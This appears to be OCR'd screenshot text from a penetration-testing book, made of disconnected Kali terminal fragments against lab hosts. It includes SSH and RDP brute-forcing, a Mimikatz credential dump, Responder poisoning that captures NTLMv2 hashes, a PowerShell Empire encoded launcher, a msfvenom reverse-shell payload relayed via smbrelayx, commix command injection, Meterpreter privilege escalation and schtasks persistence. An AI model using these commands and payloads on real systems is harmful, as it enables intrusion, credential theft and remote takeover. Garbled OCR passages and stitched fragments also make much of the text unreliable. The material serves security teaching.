rootlkali:~# hydra -s 22 -v -V -L user.lst -P passlit.lst -t 8 192.168.0.124 ssh
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations,
or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-04-09 01:53:42

[DATA] max 8 tasks per 1 server, overall 64 tasks, 60 login tries (1:5/p:12), ~0 tries per task
[DATA] attacking service ssh on port 22

[VERBOSE] Resolving addresses ... [VERBOSE] resolving done

[INFO] Testing if password authentication is supported by ssh://192.168.0.124:22

[INFO] Successful, password authentication is supported by ssh://192.168.0.124:22

[ATTEMPT] target 192.168.0.124 - login "vagrant" - pass "password" - 1 of 60 [child 0] (0/0)
[ATTEMPT] target 192.168.0.124 - login "vagrant" - pass "passwors" - 2 of 60 [child 1] (0/0)
[ATTEMPT] target 192.168.0.124 login "vagrant" pass "password 1" - 3 of 60 [child 2] (0/0)
[ATTEMPT] target 192.168.0.124 - login "vagrant" - pass "hacker" - 4 of 60 [child 3] (0/0)
[ATTEMPT] target 192.168.0.124 - login "vagrant" - pass "password' " - 5 of 60 [child 4] (0/0)
[ATTEMPT] target 192.168.0.124 login "vagrant" pass "passwordl" - 6 of 60 [child 5] (0/0)
[ATTEMPT] target 192.168.0.124 - login "vagrant" - pass "hackmeetc” - 7 of 60 [child 6] (0/0)
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Authentication Id : 0 ; 1093804 (00000000:0010b0ac)
Session RemoteInteractive from 2
User Name : EISC
Domain victim
Logon Server : VICTIM
Logon Time 6/11/2017 1:27:17 BM
SID : $-1-5-21-1299627989-2080242860-648949609-1000

msv :

[00010000] CredentialKeys

* NTIM : dcd25a439cd39daabbaeb6c02e88a%e6

* SHAL : 4£0£52c343854ca3ddecB8f74a9fb9bc366d72£7b

[00000003] Primary

* Username : EISC

* Domain : victim

* NTIM : dcd25a439cd39daabbaeb6c02e88a9e6

* SHAL : 4£0£52c343854ca3ddecBf74a9fbIbc366d72£7D

tspkg

wdigest :

* Username :

* Domain  :

* Password :

kerberos

* Username :

* Domain  :

* Password :
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Q
oo
o

P PASTEBIN < new paste trends APL tools faq Q
Search results for: @testfire.net

About 13 results (0.19 seconds) Sort by: Relevance

powered by Google™ Custom Search

pastebin.com/zkjJhSXE

Dec 8, 2015 ... Nmap 6.49BETA4 scan initiated Tue Dec 8 13:13:25 2015 as: nmap -v -sV -oN versionScanTest.txt demo testfire.net. Increasing send delay for ...

- Pastebin.com
pastebin.com/GShWsmEd

Aug 16, 2015 ... http://crackme.cenzic.com/Kelev/view/home.php. http://hackme.ntobjectives.com/. http://demo.testfire.net/. http://google-
gruyere.appspot.com/.

Wargaming and Challenges: Web-Based: http://www.wechall.net ...
pastebin.com/5¢7Q48mcC

Oct 17, 2011 ... hitp://intruded.net (down). http://www.astalavista.com/hacking. http://hack. thebackupbox.net. Webapp Specific. hitp://demo.testfire.net/.

Untitled
pastebin.com/xDXSeKZx

Sep 4, 2014 ... http://demo.testfire.net/ ... http://testphp.vulnweb.com/ http://testaspnet.vulnweb. com/ http://testasp.vulnweb.com/ http://demo.testfire.net/ ...
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[ATTEMPT] target 192.168.0.124 - log:l.n "root" - pass "hacker!@l" - 47 of 60 [child 7] (0/0)
[ATTEMPT] target 192.168.0.124 - login "root" — pass "hacer" - 48 of 60 [child 1] (0/0)

[22] [ssh] host: 192.168.0.124 login: root password: hacker!@l

[ATTEMPT] target 192.168.0.124 - login "amir" pass "password" - 49 of 60 [child 7] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "passwors" - 50 of 60 [child 2] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "password 1" - 51 of 60 [child 6] (0/0)
[ATTEMPT] target 192.168.0.124 - login "amir" - pass "hacker" - 52 of 60 [child 0] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "password " - 53 of 60 [child 3] (0/0)
[ATTEMPT] target 192.168.0.124 - login "amir" - pass "passwordl" — 54 of 60 [child 5] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "hackmeetc" - 55 of 60 [child 4] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "vagrant" - 56 of 60 [child 1] (0/0)
[ATTEMPT] target 192.168.0.124 login "amix" pass "adminl23" - 57 of 60 [child 7] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "Letmein!@l" - 58 of 60 [child 2] (0/0)
[ATTEMPT] target 192.168.0.124 - login "amir" - pass "hacker!@l" - 59 of 60 [child 6] (0/0)
[ATTEMPT] target 192.168.0.124 login "amir" pass "hacer" - 60 of 60 [child 0] (0/0)
[STATUS] attack finished for 192.168.0.124 (waiting for children to complete tests)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-04-09 01:53:58

0
0
0
0
0
0o
(¢]
0
0
0
0
0.
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root@kali:~# bettercap -X

http://bettercap.org/

[I] Starting [ spoofing:e discovery:e sniffer:e tcp-proxy: A http-proxy: x
a1

11
4]
11
11
11
11
11

Found hostname dlinkrouter for address 192.168.0.1

[eth0] 192.168.0.109 : 00:0C:29:E3:E4:F1 / eth0 ( VMware )

[GATEWAY] 192.168.0.1 : 1C:5F:2B:09:F1:B0 / dlinkrouter ( D-Link Inte|
[DISCOVERY] Precomputing list of possible endpoints, this could take
[DISCOVERY] Done in 5.318547 ms

[DISCOVERY] Targeting the whole subnet 192.168.0.0..192.168.0.255 ...
Acquired 7 new targets :
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® www.zone-h.com/mirror,

Home News Events Archive Archive Notify Stats Register Login &

Mirror saved on: 2012-10-18 12:23:32

Notified by: WolF-3nzH
System: Win 2003
This is a CACHE (mirror) page of the siPETERS . Bt on 2012-10-18 12:23:32

WolF-3nzH

WolF-3nzH@HoTmAilL.Col

Home News Events Archive Archive i Onhold Notify Stats Register Login Disclaimer Contact

Attribution-NonCommercial-NoDerivs 3.0 Unported License
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msf auxiliary(vnc_login) > run

[*] 192.168.222.128:5960 192.168.222.128:5960 - Starting VNC login sweep
[!'] 192.168.222.128:5900 No active DB -- Credential data will not be saved!
[+] 192.168.222.128:5960 192.168.222.128:59080 - LOGIN SUCCESSFUL: :password
[*] 192.168.222.128:5960 Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
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254
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root@kali:~# python cupp.py -i
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Nmap scan report for 192.168.222.128

Host is up, received echo-reply ttl 128 (0.60068s latency).
Scanned at 2017-06-24 11:41:15 EDT for 13s

PORT STATE SERVICE REASON VERSION

5908/tcp open vnc syn-ack ttl 128 VNC (protocol 3.3)
| vnc-info:

| Protocol version: 3.3

| Security types:

|3 VNC Authentication (2)
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root@kali:/var/www/html# responder -I ethO -h

NBT-NS, LIMNR & MDNS Responder 2.3.2.4

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

Usage: python ./Responder.py -I eth0 -w -r -f
or:
python ./Responder.py -I eth0 -wrf

options:

--version show program's version number and exit

-h, --help show this help message and exit

-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LIMNR requests without responding.

-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces

-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)

-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
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git clone https://github.com/Mebus/cupp.git
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msf > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(vnc_login) > set rhosts 192.168.222.128
rhosts => 192.168.222.128

msf auxiliary(vnc_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf auxiliary(vnc_login) > run
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(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > execute

[*] Starting listener 'http'

[+] Listener successfully started!

(Empire: listeners/http) > launcher powershell
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root@kali:~# ncrack -vv -U user.lst -P password.lst 192.168.200.128:3389
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2014-81-01 23:17 EST

rdp://192.168.200.128:3389 Valid credentials, however, another user is currently
Tlogged on.

Discovered credentials on rdp://192.168.200.128:3389 'admin' 'adminl23’
rdp://192.168.200.128:3389 Valid credentials, however, another user is currently
logged on.

Discovered credentials on rdp://192.168.200.128:3389 'rwbeqgs' 'darkstar’
rdp://192.168.200.128:3389 Valid credentials, however, another user is currently

logged on.
Discovered credentials on rdp://192.168.200.128:3389 'DigitalDefence' 'darkstar'

rdp://192.168.200.128:3389 Valid credentials, however, another user is currently

logged on.
Discovered credentials on rdp://192.168.200.128:3389 'mfarrell' 'daisyduke'

rdp://192.168.200.128:3389 finished.

Discovered credentials for rdp on 192.168.200.128 3389/tcp:
192.168.200.128 3389/tcp rdp: 'admin' 'adminl23'
192.168.200.128 3389/tcp rdp: 'rwbeggs' 'darkstar'
192.168.200.128 3389/tcp rdp: 'DigitalDefence' 'darkstar'
192.168.200.128 3389/tcp rdp: 'mfarrell' 'daisyduke'

Ncrack done: 1 service scanned in 1669.37 seconds.
Probes sent: 21950 | timed-out: 13 | prematurely-closed: @

Ncrack finished.
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(Empire: agents) > interact HR3FTXUS

(Empire: HR3FTXUS) > sysinfo

(Empire: HR3FTXUS) > sysinfo: O|http://192.168
e |False|powershell|2872|powershell|2

Listener: http://192.168.0.109:8080
Internal IP: 192.168.0.135
ADVANCED\vagrant
COLDO
Microsoft Windows 7 Ultimate
High Integrity: o
Process Name: powershell
Process ID: 2872
Language : powershell
Language Version: 2
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root@kali:~# hydra -s 22 -v -V -L <file path/name>
-P <file path/name> -t 8 <Target IP><protocol>
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(Empire: powershell/privesc/powerup/allchecks) >
Job started: AB3NF5S

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

Checking for unquoted service paths...
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& > C [ @ Secure | htps://www.censysiofipv47q=microsoft.com

censys Search

[ microsoft.com

1Pv4 Hosts Top Million Websites Certificates Tools~ Help

12578  Results:64,445 Time: 620ms
40.108.150.248

& MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Corporation, US (8075) Q United States

£ 443/https

& “merlinglbdns2.microsoft.com, diag-prod.merlinglbdns2.microsoft.com, diag-prodbubble.merlin.glbdns2.microsoft.com

Q 443.https.tis.certificate.parsed.extensions.authority_info_access.issuer_urls: http: //waw . microsoft. com/pki/mscorp/msitumi2. crt
Q 443 https.tis.certificate.parsed.names: diag-prod.merlin.glbdns2. microsoft.com

104.146.192.195
& MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Corporation, US (8075) @ Redmond, Washington, United States
& 443/https
& “merlinglbdns2 microsoft.com, diag-prod.merlin.glbdns2.microsoft.com, diag-prodbubble merlin glbdns2 microsoft.com
Q 443 https.tis.certificate.parsed.extensions.authority_info_access.issuer_urls: http: //www. microsoft . com/pki/mscorp/msitwm2.crt
Q 443.https.tis.certificate.parsed.names: diag-edog.merlin.glbdns2. microsoft. com
https.

104.146.24.155

& MICROSOFT-CORP-MSN-AS-BLOCK - Microsoft Corparation, US (8075) @ Redmond, Washington, United States
& 443/nttps
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(Empire: listeners/http) > set Port 8080

(Empire: listeners/http) > execute

[*] starting listener 'http'

[+] Listener successfully started!

(Empire: listeners/http) > launcher powershell
powershell -noP -sta -w 1 -enc WwBSAGUARGBAACAAQQOBTAHMA!
BhAGCAZQBtAGUAbGBOACAAQQB1AHQAbWE tAGEAJABPAGBAbGAUAEEADQI
AEKAZQBMAGOARAANAGEADOBZAGKASQBUAGKAJABGAGEAAQBSAGUAZAAN]
YAQQOBSAFUAZQAOACQATGBVAGWATAASACQAJABSAHUARQADAHOAOWEDAF!
bgBhAECARQOBYAF0AOGAGAEUAWABQAEUAQWBOADEAMAAWAEMADWBUAFQAS
BUAGUATQAUAE4AZQBOAC4AVWBFAEIAQWBMAEKARQBUAFQAOWAKAHUAPQ]
ADYALQGAXADSATABXAESAVWA2ADQAOWAGAFQACGBPAGQAZQBUAHQALWA3]
SAJABXAGMALGBIAGUAYQBKAEUAUGBTACAAQOBKAEQARAANAFUACWBLAH:
eQBzAFQAZQBENACAATGBFAHQALGBXAGUAQGBSAGUACQB1 AEUACWBUAFOAC
BYAHKALgBDAFIAZQBKAEUATgBOAEKAQOBMAEMATAAOACAAWWBTAHKAUW]
ADOARAB1AEYAYQB1AEWAVABOAEUAVAB3AGS8ACgBrAEMAUgGBFAGQAZQBO]
MATWEKAEKATGBNAFOAOGAGAEEAUWBDAEKASQAUAECARQBUAEIACQBOAGL
MwBmADEAMWAZADAROQAXADKANWBKACCARQATACQAUGAIAHSAJABEACWA,
BB8ACUAeWAKAEOAPQAOACQASGATACQAUWBbACQAXWBAACSAJABLAF SAJAI

AFMAWWAKAEOAXQASACQAUWBDACQASGBAACWAJABTAFSAJABEAFOALQAT]
GARWAKAFMAWWAKAEKAXQADACUAMGA1ADYAOWAKAFMAWWAKAEKAXQASAC

WABVAHIAJABTAFSAKAAKAFMAWWAKAEKAXQATACQAUWBDACQASABAACKA:
BDAGBAbWBrAGKAZQA ACWATgBZAGUACWBZAGKAbWBUAD OAMOBGAEEACA]
ACKAOWAKAEMAZQBYADOAIWBOAHQAGABWADOALWAVADEAOQAYACAANOA2]
SACABYAGBAYWB1AHMACWAUAHAAAABWACCAOWAKAGOAQOBOAGEAPQAKAF(
JABpAHYAPQAKAEQAQOBOAGEAWWAWACAALGAZAFOAOWAKAGQAQOBUAGEA]
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root@kali:~# ncrack -vv -U user.lst -P password.list
<Taget IP>:<Target Port>
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[Empire: listeners/http) > [+] Initial agent HR3FTXUS from 192.168.0.135 now active
wgents

.*] Active agents:

Lang Internal IP Process

ps 192.168.0.135 COLDO ADVANCED\vagrant powershell/28
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msf > use auxiliary/fuzzers/http/http form field
msf auxiliary(http form field) > set useragent

useragent => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
msf auxiliary(http form field) > set useragent Googlebot/2.1
useragent => Googlebot/2.1
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root@kali:~# nmap --script "ssl*" <IP address>
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Usemodule situational_awareness/network/powerview/get_group_member
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Nmap scan report for 192.168.1.107

Host is up, received arp-response (0.00048s latency).
Scanned at 2017-06-28 03:43:23 EDT for 13s

PORT STATE SERVICE REASON

443/tcp open https syn-ack ttl 128

| ssl-cert: Subject: commonName=localhost

Issuer: commonName=localhost

Public Rey type: rsa

Public Key bits: 1024

Signature Algorithm: shalWithRSAEncryption

Not valid before: 2009-11-10T23:48:47

Not valid after: 2019-11-08T23:48:47

MD5: a0a4 4cc9 9e84 b26f 9e63 9f9%e d229 deel
SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ffé6

I

| MIIBnzCCAQQCCQC1x1LJh4G1AZANBgkqhkiGOwOBAQUFADAUMRIWEAYDVQODEWlS
| b2NhbGhvc3QwHhcNMDKXMTEWM jMOODQ3WhcNMTKkXMTA4M JMO0ODQ3W jAUMRIWEAYD
| VQQDEw1sb2NhbGhvc3QwgZBwDQYJIKoZIhvcNAQEBBQADGY 0AMIGJIACGBAMELOYEj
| 7KONg2pt51+adRAj4pCdoGOVix1BmljVnGOMW30GkENMw9ajibhlvB6UfHxu4630
| J1lwLxgxq+Q8y/rPEehAjBCSpRNSq+bMvZhD4p8HNYMRrRFfjZzv3ns1IItw46kgT
| gDpAllcMRzZVGPXFimu5TnWMOZ3ooyaQ0/xntAgMBAAEWDQY JKoZIhvCeNAQEFBQAD
| gYEAavHzSWz5umhfb/MnBMa5DL2VNZS+9whmmpsDGEG+uROKMIW2GQIAVHHITYFd
| aHXzgVJBQCWTwhp84nvHSiQTDBSaT6cQNQpvag/TaED/SEQpmOVODEFWpLFYuufBL
| VVNDLKKxbK2XwUVuORXOLABMC/89HQrZ0ppiONuQ+X2MtXE=

=
MAC Address: 08:00:27:FF:04:71 (Oracle VirtualBox virtual NIC)
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(Empire: powershell/situational awareness/network/powerview/get domain controller) > execute
(Empire: powershell/situational awareness/network/powerview/get domain controller) >

Job started: SR3WY2

Forest

CurrentTime
HighestCommittedUsn
osVersion

Roles

Domain

IPAddress

SiteName

InboundConnections
OutboundConnections
Name

Partitions

: Advanced.Pentest.com

6/12/2017 11:49:34 AM

364646

Windows Server 2008 R2 Standard

{SchemaRole, NamingRole, PdcRole, RidRole...}
Advanced.Pentest.com

192.168.0.138

Default-First-site-Name
SyncFromAllServersCallback :

18]

ol

metasploitable3.Advanced.Pentest.com
{DC=Advanced,DC=Pentest,DC=com, CN=Configuration,DC
=Advanced,DC=Pentest,DC=com, CN=Schema,CN=Configura
tion,DC=Advanced,DC=Pentest,DC=com, DC=DomainDnsZon
es,DC=Advanced,DC=Pentest,DC=com. . . }
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wE WtAA

£ 7 MAC Hb ik UG i LR (Cisco) 7= b FH 0 B 4 Cisco 441 & — 4~ 58 4 B LY

--spoof-mac-Cisco MAC Hihik

--data-length 24 REBOELERILRID, BN 24 515 ABENLEEE

-T paranoid )ik &R el , 1% & paranoid
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Nmap NSE #&k EHIER

ssl-cert IRBUIR S # 0 SSLAEH . 15 B AR MG BUR FICR BRI (25, —v 1 -vw)
ssl-date M TLS (i fiRR 55 # 9 Hello Wi i HrARER H AR ALY H AR [E]

R JE S SSL M TLS 4%, & — il —F S I F X ML sl B 48 264710 5%
RN, KRR RANS, HaTek HARBH %

ssl-enum-ciphers

hni

AWAHUE D Hok, MWHARTRRE T SSLIEBME R, B HE T T, Rk,
UK ELAERIEBAEEE . AR —MEA AP HOART, ERIfenl e / find

ssl-google-cert-catalog

Kids — A EHLE B SSLAIEF—AA SEMR, SR s gIn i eI R A dEac. B
Hi, ‘Ef#H] LittleBlackBox B/ . 410, AT SC-: 3l i i

ssl-known-key

sslv2 WHRE M5 AR SRR I Y | 22 XA Y SSL AR 2, LAKRRAS 2 BB SR 2 i
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msf exploit(handler) >

[*] sending stage (957487 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.109:6200 -> 192.168.0.119:63192) at
2017-06-12 07:15:21 -0400
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#nmap --spoof-mac- Cisco --data-length 24 -T paranoid -max-hostgroup
1 -- max-parallelism 10 -PN -f -D 10.1.20.5,RND:5,ME --v -n -sS
-sV-oA /desktop/pentest/nmap/out -p T:1-1024
--random-hosts 10.1.1.10 10.1.1.15
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root@kali:~# nmap --script <script name> -p 443 <Target IP>
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(Empire: listeners/http) > agents

[*] Active agents:

Lang Internal IP Machine Name Username Process Delay Last Seen

192.168.0.135 ADVANCED\vagrant powershell/3436 5/0.0 2017-06-12
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apt-get install tor





OEBPS/Image00071.jpg
e BiEA

-- max-hostgroup BRI FEAILLESEA B ] Bl 4

PR A 36 A7 R AR . ARt mT LT --scan-delay $EI0T, 5 PIANAET Z 18] (15

-- max-parallelism X s
F s SR, KIS --max-parallelism B3 A FEZS

-Pn A ping B E TGS FREE GX] AR EE)
-f B BB, ROk SRR () AR IEBRC B A ARKI RS

-D 10.1.20.5, RND:5,ME BIEFEAH, SUCEEWERRIRGETT, RBsebrit

1A DNS fif#r; PEBaAMB DNS s &%, AR nmap $222 64 DNS {5 E A

- R I L F O, AT AR T RE R i bl

S HEFTBRIERY TCP SYN $13Hi, JFANHEESERM) TCP 85 HAbFHIZER (fn, =48
i) WATLAMEA, FUR, KEHAT NS AR K&

-sV Jet HIREAAS )

-0A /desktop/pentest/nmap | FFEEAL R A RN (IEH . greppable Al XML)

-p T:1-1024 FHlHE 2 09 TCP di 11

-- random-hosts Fiti#ILAk H bR LR
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[ProxyList]
# add proxy here ...
# meanwile

# defaults set to "tor"

socks4Jlj127.6.6.1 9050
socks5 127.8.8.1 9650
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I8 IhkE

sslcaudit A Shfkilix SSL A1 TLS & P, B HEHT ] At i RE

ssldump X SSLv3 Hl TLS 3l {5 #EAT M4 Dhill S bt . WA G A9 258, mTLARGE SSL AR, Il 30 ik
NP S

sslscan A1) SSL IR S5 et i H SRR . i A4 1 8 SSL B FE SCAR Ko XML A% 3 S i) 5 1)

ssisnifs Wt R NS 250, AE— N RN T SSL MEHEA RL, AR Ab T R A A 3l Bh A5 A R
HEF

%t SSL 1 TLS 2% AT HP IRl o 3 st — 4 IR 46 i Bl 0 2 Rkt sslsplit A9 T2 i, 3532 A ) 19

sslsplit | 558, B 0T AL IRIFOR A 23 0 sh— S8 0 0 RS B Ay 8z, I i SERrA LB X
% TCP, SSL. HTTP/HTTPs, IPv4 J% IPv6

sl Ve B A 4%, 3K HTTP Jiht, i HTTPS HEf, T [ HoR X Se 4 e 5 30 /9 HTTP 8l

P | HTTPS B, B S PR AR — N IRR, BRI — MBS, LR ARSIE A AR F R
sslyze SIHTHR %5 7 ) SSL e i
tlssled G4 LA SSL s R AR IO (M FH A i, KA s . IEH BB E B DI e S
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f: proxychains.conf VER 3.1
HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
# The option below identifies how the ProxylList is treated.

# only one option should be uncommented at time,
# otherwise the last appearing option will be accepted

I dﬂlamicichain

# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain

I# (dead proxies are skipped)

¢ otherwise EINTR is returned to the app

jistrict_chain

# Strict - Each connection will be done via chained proxies

# all proxies chained in the order as they appear in the list
j# all proxies must be online to play in chain

# otherwise EINTR is returned to the app

# Random - Each connection will be done via random proxy
# (or proxy chain, see chain_len) from the list.
# this option is good to test your IDS :)

# Make sense only if random chain

jtchain_len =





OEBPS/Image00314.jpg
root@ext-kali:~/Desktop# sslscan --no-failed 192.168.1.101
Version: 1.11.8-static
OpenSSL 1.0.2k-dev xx XXX XxXxXX

Testing SSL server 192.168.1.101 on port 443

TLS Fallback SCSV:
Server supports TLS Fallback SCSV

TLS renegotiation:
Secure session renegotiation supported

TLS Compression:
Compression disabled

Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

Supported Server Cipher(s):

Preferred TLSvl.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve P-256 DHE 256
Accepted TLSvl1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256
Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256
Accepted TLSvl.2 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 1024 bits
Accepted TLSvl.2 256 bits DHE-RSA-AES256-SHA256 DHE 1024 bits
Accepted TLSvl.2 256 bits DHE-RSA-AES256-SHA DHE 1024 bits
Accepted TLSvl.2 256 bits DHE-RSA-CAMELLIA256-SHA DHE 1024 bits
Accepted TLSvl1.2 256 bits AES256-GCM-SHA384

Amnbnd  MT Ol A NEL hii~  ADOONCL_ODANEL
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root@kali:~# responder -I eth0 -i 192.168.0.119

NBT-NS, LIMNR & MDNS Responder 2.3.2.4

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CRTL-C

[+] Poisoners:
LLMNR
NBT-NS
DNS/MDNS

Servers:
HTTP server
HTITPS server
WPAD proxy
Auth proxy
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\\advanced is not accessible. You might not have permission to use this network resource.
Contact the administrator of this server to find out if you have access permissions.

Multiple connections to a server or shared resource by the same user, using more than one

user name, are not allowed. Disconnect all previous connections to the server or shared
resource and try again.

o]
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root@kali:/# chmod +x testssl.sh
root@kali:/# ./testssl.sh

No mapping file found
testssl.sh <options>

-h, --help what you're looking at

-b, --banner displays banner + version of testssl.sh

-v, --version same as previous

-V, --local pretty print all local ciphers

-V, --local <pattern> which local ciphers with <pattern> are available?
(if pattern not a number: word match)

testssl.sh <options> URI ("testssl.sh URI" does everything except -E)

-e, --each-cipher checks each local cipher remotely

-E, --cipher-per-proto checks those per protocol

-£, —-ciphers checks common cipher suites

-p, —-protocols checks TLS/SSL protocols (including SPDY/HTTP2)
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msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.119 LPORT=6200
—f exe > newpay.exe
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Testing protocols (via sockets except TLS 1.2, SPDY+HTTP2)

SSLv2 not offered (OK)

SsLv3 offered (NOT ok)

TLS 1 offered

TLS 1.1 offered

TLS 1.2 offered (OK)

Version tolerance downgraded to TLSvl.2 (OK)
SPDY/NEN not offered

HTTP2/ALPN not offered

Testing ~standard cipher lists

Null Ciphers not offered (OK)

Anonymous NULL Ciphers not offered (OK)

Anonymous DH Ciphers not offered (OK)

40 Bit encryption Local problem: No 40 Bit encryption configured in /usr/bin/openssl

56 Bit export ciphers Local problem: No 56 Bit export ciphers configured in /usr/bin/openssl
Export Ciphers (general) Local problem: No Export Ciphers (general) configured in /usr/bin/openssl
Low (<=64 Bit) Local problem: No Low (<=64 Bit) configured in /usr/bin/openssl

DES Ciphers Local problem: No DES Ciphers configured in /usr/bin/openssl

"Medium" grade encryption not offered (OK)

Triple DES Ciphers Local problem: No Triple DES Ciphers configured in /usr/bin/openssl
High grade encryption offered (OK)
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root@kali:~# smbrelayx.py -h 192.168.0.119 -e /root/newpay.exe
Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies

[*] Running in relay mode
[*] Config file parsed
[*] Setting up SMB Server

[*] servers started, waiting for connections
[*] Setting up HTTP Server
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t@Kal
File Edit View Search Terminal Help

root: # twofi -m 6 -u @PacktPub > packtpub wordlist.txt
root@Ka # cat packtpub_wordlist.txt
PacktPub

WebDev

DataScience

gamedev

Python

Discover

VervePoetryFest

eBooks

0cxVIQSMHw

titles

Practical

Nodejs

JavaScript

Machinelearning
Awesome
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root@kali:~# vncviewer <Target IP>
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[SMBv2] NTLMv2-SSP Client : 192.168.0.119

[SMBv2] NTLMv2-SSP Username : victim\vagrant
[SMBv2] NTLMv2-SSP Hash : vagrant::victim:1122334455667788:F8D3F901A81BFD320F111FA2EFAD33E7 :

09D20125648C2FF56465FF000000000200080053004D004200330001001E00570049004E002D00500052004800340039
0400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200.

004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0
00000800300030000000000000000100000000200000A9494B6B2466C42ES5DBB371127B24DA215FD32B0844C6A98E156.
000000000000000000000000000900320063006900660073002F0041006400760061006E006300650064002E00500065

63006F006D00000000000000000000000000
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e Edit View Search Terminal Help
root@ali:~# cewl www.google.com google. txt
CeWL 5.3 (Heading Upwards) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@ali:~# cat google.txt | more

Google
and
you
your
the
our

information
e
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root@kali:~# vncviewer 192.168.222.128
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication

Password:
Authentication successful

TightVNC: root's X desktop

r root@metasploitable: /

root@retasploitables/# ls

bin dev  initrd lost+found nohup.out root sys var
boot  etc media opt shin tmp
home lib mnt proc sv  usr

root@metasploitables/# ]






OEBPS/Image00548.jpg
[SMBv2] NTIMv2-SSP Client : 192.168.0.166

[SMBv2] NTLMv2-SSP Username : ADVANCED\vagrant

[SMBv2] NTLMv2-SSP Hash : vagrant: :ADVANCED:1122334455667788: 5B2AB7BCDOF8BC314A9BB7101FE84672:0
DE09D201D996F8D850068D070000000002000800530040004200330001001E00570049004E002D005000520048003400390
000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D005000520048003400390032005
53004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C06
0000000800300030000000000000000000000000300000DECF5SEEDOAO968EB424A54F5BFD38FB61C415C9C5D689ABC6FDBC
00000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E0030002E00310
0000000000

[*] Skipping previously captured hash for ADVANCED\vagrant

[HTTP] User-Agent : Mozilla/4.0 (compatible; MSIE 8.0; Win32; Trident/4.0)

[ETTP] User-Agent : Mozilla/4.0 (compatible; MSIE 8. Win32; Trident/4.0)

[HTTP] User-Agent : Mozilla/4.0 (compatible; MSIE 8. Win32; Trident/4.0)

[BETTP] User-Agent : Mozilla/4.0 (compatible; MSIE 8. Win32; Trident/4.0)

[ETTP] Basic Client : 192.168.0.166

[HTTP] Basic Username : admin

[HTTP] Basic Password : admin

[*] [LIMNR] Poisoned answer - 0. Pproxysrv

[*] [LIMNR] Poisoned answer « 55 Proxysrv

[*] [LIMNR] Poisoned answer . 0. Proxysrv

[*] [LIMNR] Poisoned answer 5 0. Proxysrv

[*]1 [NBT-NS] Poisoned answer 5 S0 MY (service: Domain Controller)

[*] [NBT-NS] Poisoned answer . .0. WPAD (service: Workstation/Redirector)
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[10:23:24] [INFO] fetching tables for database: 'nowasp'
[10:23:25] [WARNING] reflective value(s) found and filtering out
Database: nowasp

[13 tables]

balloon_tips
blogs_table
captured data
credit cards
help texts

level 1_help include files
page_help

page_hints

pen_test_tools
user_poll_results

!
|
|
|
|
1
| hitlog
|
!
|
|
|
'
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commix -
url=http://192.168.0.120/mutillidae/index.php?popupnotificationcode=5L5&pag
e=dns-lookup.php -data="target_host=127.0.0.1" -headers="Accept-

Language: fr\nETAG:123\n"
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Windows\system32>schtasks /Create /SC DAILY /TN hacking /TR cmd.exe /st 12:51]

[SUCCESS: The scheduled task “hacking™ has successfully been created.
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Checking connection to the target URL... [ SUCCEED ]
Setting the POST parameter 'target host® for tests.
[!'] Warning: The estimated response time is 5 seconds. That may cause serious delays during the data extraction proc
over the extracted data.
Testing the classic injection technique... [ SUCCEED ]

[+] The parameter 'target_host' seems injectable via (results-based) classic injection technique.
[~] Payload: %26for /f “"tokens=*" %i in ('cmd /c "set /a (52+88)"') do @set /p = ZWFIKA%iZWFIKAZWFIKA< nul

[?] Do you want a Pseudo-Terminal shell? [Y/n] > Y

Pseudo-Terminal (type '?' for available options)
commix(os_shell) > dir
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meterpreter > getuid
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meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

meterpreter > shell
Process 4004 created.

Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
